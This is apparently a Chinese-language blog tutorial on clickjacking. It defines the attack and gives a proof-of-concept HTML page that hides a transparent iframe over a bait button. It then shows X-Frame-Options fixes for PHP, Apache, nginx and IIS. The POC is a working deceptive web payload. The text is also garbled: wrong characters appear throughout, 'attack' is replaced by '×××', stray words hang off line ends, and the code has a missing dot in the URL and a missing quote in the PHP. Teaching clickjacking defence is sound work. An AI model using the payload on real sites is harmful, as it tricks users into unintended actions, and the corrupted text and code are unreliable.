0x01:什么是点击劫持html
点击劫持是一种视觉上的欺骗手段,×××者使用一个透明的、不可见的iframe,覆盖在一个网页上,而后诱使用户在该网页上进行操做,此时用户在不知情的状况下点击了透明的iframe页面。经过调整iframe页面的位置,能够诱使用户刚好点击在iframe页面的一些功能性按钮上,×××者经常配合社工手段完成×××。nginx
0x02 漏洞危害web
×××者精心构建的另外一个置于原网页上面的透明页面。其余访客在用户绝不知情的状况下点击×××者的页面从而完成×××。具体危害取决Web应用。app
0x03 POC代码ide
受害者点击“脱掉衣服“按钮,iframe会当即加载,请求www.baidu.com页面ui
<html> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <head> <title>点劫持POC</title> <style> iframe { width: 1440px; height: 900px; position: absolute; top: -0px; left: -0px; z-index: 2; -moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); } button { position: absolute; top: 250px; left: 770px; z-index: 1; width: 80px; height:20px; } </style> </head> <body> <button>脱掉衣服</button> <img src="http://b.hiphotos.baidu.com/image/pic/item/3ac79f3df8dcd1001341dbcd768b4710b8122f78.jpg"> <iframe src="http://wwwbaidu.com" scrolling="no"></iframe> </body> </html>
0x04 修复方案3d
X-FRAME-OPTIONS是目前最可靠的方法。X-FRAME-OPTIONS是微软提出的一个http头,专门用来防护利用iframe嵌套的点击劫持×××。而且在IE八、Firefox3.六、Chrome4以上的版本均能很好的支持。code
这个头有三个值:server
DENY // 拒绝任何域加载
SAMEORIGIN / / 容许同源域下加载
ALLOW-FROM // 能够定义容许frame加载的页面地址
PHP代码:htm
header('X-Frame-Options:Deny');
header('X-Frame-Options:SAMEORIGIN);
配置 Apache
配置 Apache 在全部页面上发送 X-Frame-Options 响应头,须要把下面这行添加到 'site' 的配置中:
Header always append X-Frame-Options SAMEORIGIN
配置 nginx
配置 nginx 发送 X-Frame-Options 响应头,把下面这行添加到 'http', 'server' 或者 'location' 的配置中:
add_header X-Frame-Options SAMEORIGIN;
配置 IIS
配置 IIS 发送 X-Frame-Options 响应头,添加下面的配置到 Web.config 文件中:
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="X-Frame-Options" value="SAMEORIGIN" />
</customHeaders>
</httpProtocol>
</system.webServer>
参考连接:
http://www.freebuf.com/articles/web/67843.html